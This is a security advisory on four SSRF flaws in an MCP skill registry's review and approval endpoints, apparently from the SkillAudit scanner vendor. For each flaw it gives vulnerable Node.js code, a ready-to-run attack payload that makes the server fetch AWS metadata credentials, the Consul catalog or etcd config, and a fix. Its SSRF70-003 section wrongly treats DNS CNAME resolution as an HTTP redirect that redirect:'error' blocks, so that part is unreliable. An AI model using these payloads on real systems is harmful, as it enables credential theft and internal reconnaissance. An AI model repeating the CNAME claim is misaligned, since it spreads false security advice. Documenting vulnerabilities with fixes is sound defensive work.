Claude MCP skill SSRF — skill review workflow and approval notification endpoints (SA-SKL-SSRF70)
SA-SKL-SSRF70 identifies four SSRF vulnerabilities in MCP skill registry skill review workflow and approval notification endpoints. Unconstrained fetch of reviewer notification URL leaks IAM credentials; approval webhook SSRF exposes full Consul service catalog; review result delivery with redirect:follow enables CNAME chain to Vault returning KV secrets; compliance audit sink stores raw SSRF response persistently making internal metadata accessible via the audit history API.
reviewerNotificationUrl without validation; attacker sets URL to http://169.254.169.254/latest/meta-data/iam/security-credentials/; IAM credentials returned in reviewer notification confirmation response bodyapprovalWebhookUrl without validation; attacker points to http://consul:8500/v1/catalog/services; full Consul service catalog returned as approval confirmation responseresultDeliveryUrl with redirect: 'follow'; CNAME chain from attacker domain to vault:8200 returns Vault KV secrets in delivery confirmationcomplianceSinkUrl and stores raw response as compliance audit record; attacker points to etcd:2379; etcd configuration stored persistently and retrievable via compliance audit history APISSRF70-001 — Reviewer notification URL fetch leaks IAM credentials
When a skill publisher submits a review request, the registry accepts a reviewerNotificationUrl field in the request body. The registry server fetches this URL server-side to deliver an HTTP callback confirming that the review request was received. No validation is applied to the URL before the fetch: any IP address, hostname, or private range is accepted. An attacker who controls a skill publisher account sets reviewerNotificationUrl to the AWS IMDSv1 credentials endpoint http://169.254.169.254/latest/meta-data/iam/security-credentials/registry-worker-role. The registry server fetches this URL from within the VPC, receives the IAM temporary credentials including AccessKeyId, SecretAccessKey, and SessionToken, and echoes the response body back to the caller in the notification confirmation payload.
The leaked IAM credentials belong to the registry worker role, which typically has broad permissions including S3 read/write access for skill artifact storage, ECR access for skill container images, and Secrets Manager read access for registry configuration secrets. An attacker who obtains these credentials can enumerate and exfiltrate all skill artifacts, inject malicious artifacts into the S3 bucket bypassing the registry's upload validation pipeline, and read Secrets Manager values including database credentials and signing keys.
// SSRF70-001 — VULNERABLE
router.post('/api/skills/:id/reviews',
requireSession,
requireOwnership('skillId'),
async (req, res) => {
const { reviewType, reviewerNotificationUrl, notes } = req.body;
const review = await db.reviews.create({
skillId: req.params.id,
reviewType,
notes,
requestedByUserId: req.session.userId,
});
if (reviewerNotificationUrl) {
// VULNERABLE: unconstrained fetch — attacker sets to 169.254.169.254
const confirmation = await fetch(reviewerNotificationUrl, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ reviewId: review.id, skillId: req.params.id }),
});
const confirmationBody = await confirmation.text();
// VULNERABLE: confirmation body (IAM creds) echoed back to attacker
res.json({ ok: true, reviewId: review.id, notificationConfirmation: confirmationBody });
} else {
res.json({ ok: true, reviewId: review.id });
}
}
);
Attack payload — SSRF70-001: The attacker submits a review request with the IMDS credential endpoint as the notification URL. The registry fetches the IMDS endpoint from within the VPC and returns the IAM credentials in the API response.
// SSRF70-001 — ATTACK PAYLOAD
fetch('https://registry.example.com/api/skills/my-skill-id/reviews', {
method: 'POST',
headers: { 'Content-Type': 'application/json', 'Cookie': 'session=attacker_session' },
body: JSON.stringify({
reviewType: 'security',
notes: 'Please review',
// SSRF: registry server fetches this from within VPC — returns IAM creds
reviewerNotificationUrl:
'http://169.254.169.254/latest/meta-data/iam/security-credentials/registry-worker-role',
}),
})
.then(r => r.json())
// notificationConfirmation contains AccessKeyId, SecretAccessKey, SessionToken
.then(data => console.log('IAM creds:', data.notificationConfirmation));
// SSRF70-001 — FIXED
const ALLOWED_NOTIFICATION_ORIGINS = new Set([
'https://hooks.slack.com',
'https://notify.pagerduty.com',
'https://webhooks.example-ci.com',
]);
function isAllowedNotificationUrl(url) {
try {
const parsed = new URL(url);
// Block private IP ranges, link-local, loopback
if (/^(10\.|172\.(1[6-9]|2\d|3[01])\.|192\.168\.|127\.|169\.254\.)/.test(parsed.hostname)) return false;
return ALLOWED_NOTIFICATION_ORIGINS.has(parsed.origin);
} catch { return false; }
}
router.post('/api/skills/:id/reviews',
requireSession,
requireOwnership('skillId'),
async (req, res) => {
const parsed = ReviewRequestSchema.safeParse(req.body);
if (!parsed.success) return res.status(422).json({ error: parsed.error.issues });
const { reviewType, reviewerNotificationUrl, notes } = parsed.data;
const review = await db.reviews.create({ skillId: req.params.id, reviewType, notes, requestedByUserId: req.session.userId });
if (reviewerNotificationUrl) {
if (!isAllowedNotificationUrl(reviewerNotificationUrl)) {
return res.status(422).json({ error: 'reviewerNotificationUrl not in permitted origins' });
}
await fetch(reviewerNotificationUrl, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ reviewId: review.id }),
signal: AbortSignal.timeout(5000),
});
}
// FIXED: return boolean only — never echo fetch response body
res.json({ ok: true, reviewId: review.id, notificationSent: !!reviewerNotificationUrl });
}
);
SSRF70-002 — Approval webhook SSRF exposes full Consul service catalog
The approval workflow endpoint accepts a user-supplied approvalWebhookUrl and fetches it server-side when the approval decision is recorded, intending to notify the publisher's CI/CD pipeline. With no URL validation applied, an attacker who points this URL to the internal Consul agent HTTP API at http://consul:8500/v1/catalog/services receives the full service catalog as the webhook confirmation response. The Consul catalog exposes every internal service name, its registered addresses and ports, its health check state, and any service tags — providing a complete map of the internal network topology for further lateral movement targeting.
// SSRF70-002 — VULNERABLE
router.post('/api/skills/:id/reviews/:reviewId/approve',
requireSession,
requireReviewerRole,
async (req, res) => {
const { decision, approvalWebhookUrl } = req.body;
await db.reviews.update(
{ status: decision, decidedByUserId: req.session.userId },
{ where: { id: req.params.reviewId, skillId: req.params.id } }
);
if (approvalWebhookUrl) {
// VULNERABLE: unconstrained fetch — attacker points to consul:8500
const webhookRes = await fetch(approvalWebhookUrl, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ reviewId: req.params.reviewId, decision }),
});
const webhookBody = await webhookRes.text();
// VULNERABLE: webhook body (Consul catalog) returned to attacker
res.json({ ok: true, webhookResponse: webhookBody });
} else {
res.json({ ok: true });
}
}
);
Attack payload — SSRF70-002: The attacker registers as a reviewer and approves their own review with the Consul catalog endpoint as the webhook URL, receiving the full internal service map.
// SSRF70-002 — ATTACK PAYLOAD
fetch('https://registry.example.com/api/skills/my-skill-id/reviews/review-uuid/approve', {
method: 'POST',
headers: { 'Content-Type': 'application/json', 'Cookie': 'session=reviewer_session' },
body: JSON.stringify({
decision: 'approved',
// SSRF: returns full Consul service catalog from internal network
approvalWebhookUrl: 'http://consul:8500/v1/catalog/services',
}),
})
.then(r => r.json())
.then(data => console.log('Consul catalog:', data.webhookResponse));
// SSRF70-002 — FIXED
router.post('/api/skills/:id/reviews/:reviewId/approve',
requireSession,
requireReviewerRole,
async (req, res) => {
const parsed = ApprovalSchema.safeParse(req.body);
if (!parsed.success) return res.status(422).json({ error: parsed.error.issues });
const { decision, approvalWebhookUrl } = parsed.data;
await db.reviews.update(
{ status: decision, decidedByUserId: req.session.userId },
{ where: { id: req.params.reviewId, skillId: req.params.id } }
);
if (approvalWebhookUrl) {
if (!isAllowedNotificationUrl(approvalWebhookUrl)) {
return res.status(422).json({ error: 'approvalWebhookUrl not in permitted origins' });
}
await fetch(approvalWebhookUrl, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ reviewId: req.params.reviewId, decision }),
redirect: 'error', // FIXED: never follow redirects
signal: AbortSignal.timeout(5000),
}).catch(() => {}); // fire-and-forget — do not expose errors
}
// FIXED: return boolean only — never echo webhook response body
res.json({ ok: true, webhookDelivered: !!approvalWebhookUrl });
}
);
SSRF70-003 — Review result delivery with redirect:follow enables CNAME chain to Vault
The review result delivery endpoint fetches a user-supplied resultDeliveryUrl using Node.js fetch() with its default redirect behavior of 'follow'. An attacker registers a domain they control, creates a CNAME record pointing to the internal Vault server hostname (vault.internal or vault:8200), and supplies their domain as the resultDeliveryUrl. The registry server follows the CNAME chain, reaches the Vault HTTP API at /v1/kv/data/registry, and returns the Vault KV secrets in the delivery confirmation response. Because CNAME resolution happens at the DNS layer, IP-based blocklists that block 10.x.x.x and 192.168.x.x ranges do not block this attack — the intermediate hostname passes all string-based validation.
// SSRF70-003 — VULNERABLE
router.post('/api/skills/:id/reviews/:reviewId/deliver-result',
requireSession,
requireReviewerRole,
async (req, res) => {
const { resultDeliveryUrl, resultPayload } = req.body;
// VULNERABLE: fetch() defaults to redirect:'follow' — CNAME chain to vault:8200
const deliveryRes = await fetch(resultDeliveryUrl, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(resultPayload),
// redirect: 'follow' is the default — attacker CNAME → vault:8200
});
const deliveryBody = await deliveryRes.text();
// VULNERABLE: Vault KV secrets echoed back to attacker
res.json({ ok: true, deliveryConfirmation: deliveryBody });
}
);
// SSRF70-003 — FIXED
router.post('/api/skills/:id/reviews/:reviewId/deliver-result',
requireSession,
requireReviewerRole,
async (req, res) => {
const parsed = ResultDeliverySchema.safeParse(req.body);
if (!parsed.success) return res.status(422).json({ error: parsed.error.issues });
const { resultDeliveryUrl, resultPayload } = parsed.data;
if (!isAllowedNotificationUrl(resultDeliveryUrl)) {
return res.status(422).json({ error: 'resultDeliveryUrl not in permitted origins' });
}
await fetch(resultDeliveryUrl, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(resultPayload),
redirect: 'error', // FIXED: error on any redirect — blocks CNAME chain attacks
signal: AbortSignal.timeout(5000),
}).catch(() => {});
// FIXED: return boolean only — never echo delivery response body
res.json({ ok: true, deliveryAttempted: true });
}
);
SSRF70-004 — Compliance audit sink stores raw SSRF response persistently
The compliance audit sink endpoint accepts a user-supplied complianceSinkUrl, fetches it server-side, and stores the raw response body as a compliance audit record in the database. An attacker who points this URL to the internal etcd HTTP API at http://etcd:2379/v3/kv/range receives the full etcd key-value store range response — which includes registry configuration keys, feature flags, and service discovery data. Because the response is stored as a compliance audit record, it persists indefinitely in the database and is accessible to any user with read access to the compliance audit history API endpoint, amplifying the exposure from a one-time fetch to a persistent data leak readable by all compliance auditors.
// SSRF70-004 — VULNERABLE
router.post('/api/skills/:id/compliance/sink',
requireSession,
requireOwnership('skillId'),
async (req, res) => {
const { complianceSinkUrl, auditLabel } = req.body;
// VULNERABLE: unconstrained fetch — attacker points to etcd:2379
const sinkRes = await fetch(complianceSinkUrl);
const rawBody = await sinkRes.text();
// VULNERABLE: raw response (etcd config) stored persistently as audit record
await db.complianceAuditRecords.create({
skillId: req.params.id,
auditLabel,
sinkUrl: complianceSinkUrl,
rawResponse: rawBody, // etcd config now in DB, readable via audit history API
createdByUserId: req.session.userId,
});
res.json({ ok: true });
}
);
Attack payload — SSRF70-004: The attacker submits a compliance sink request with the etcd HTTP API as the sink URL. The etcd key-value response is stored in the database and later retrieved via the compliance audit history endpoint.
// SSRF70-004 — ATTACK PAYLOAD
// Step 1: trigger SSRF and store etcd config as audit record
fetch('https://registry.example.com/api/skills/my-skill-id/compliance/sink', {
method: 'POST',
headers: { 'Content-Type': 'application/json', 'Cookie': 'session=attacker_session' },
body: JSON.stringify({
auditLabel: 'routine-compliance-check',
// SSRF: etcd HTTP API range query — returns registry config keys
complianceSinkUrl: 'http://etcd:2379/v3/kv/range',
}),
});
// Step 2: later retrieve etcd config from compliance audit history
fetch('https://registry.example.com/api/skills/my-skill-id/compliance/history')
.then(r => r.json())
.then(records => console.log('etcd config:', records[0].rawResponse));
// SSRF70-004 — FIXED
router.post('/api/skills/:id/compliance/sink',
requireSession,
requireOwnership('skillId'),
async (req, res) => {
const parsed = ComplianceSinkSchema.safeParse(req.body);
if (!parsed.success) return res.status(422).json({ error: parsed.error.issues });
const { complianceSinkUrl, auditLabel } = parsed.data;
if (!isAllowedNotificationUrl(complianceSinkUrl)) {
return res.status(422).json({ error: 'complianceSinkUrl not in permitted origins' });
}
const sinkRes = await fetch(complianceSinkUrl, {
redirect: 'error', // FIXED: never follow redirects
signal: AbortSignal.timeout(5000),
}).catch(() => null);
// FIXED: store delivery boolean only — never store raw response body
await db.complianceAuditRecords.create({
skillId: req.params.id,
auditLabel,
sinkUrl: complianceSinkUrl,
delivered: sinkRes?.ok ?? false, // boolean only
createdByUserId: req.session.userId,
});
res.json({ ok: true });
}
);
SkillAudit detection: The scanner identifies SSRF70 patterns using four AST query classes: fetch(req.body. without a preceding allowlist check on route handlers in review or approval files; fetch(url, { without redirect: 'error' in webhook delivery handlers; raw response body assignment to database create calls (rawResponse: await res.text()); and missing AbortSignal.timeout() on outbound fetch calls in webhook handlers. Submit your MCP skill registry codebase to SkillAudit for a full audit report.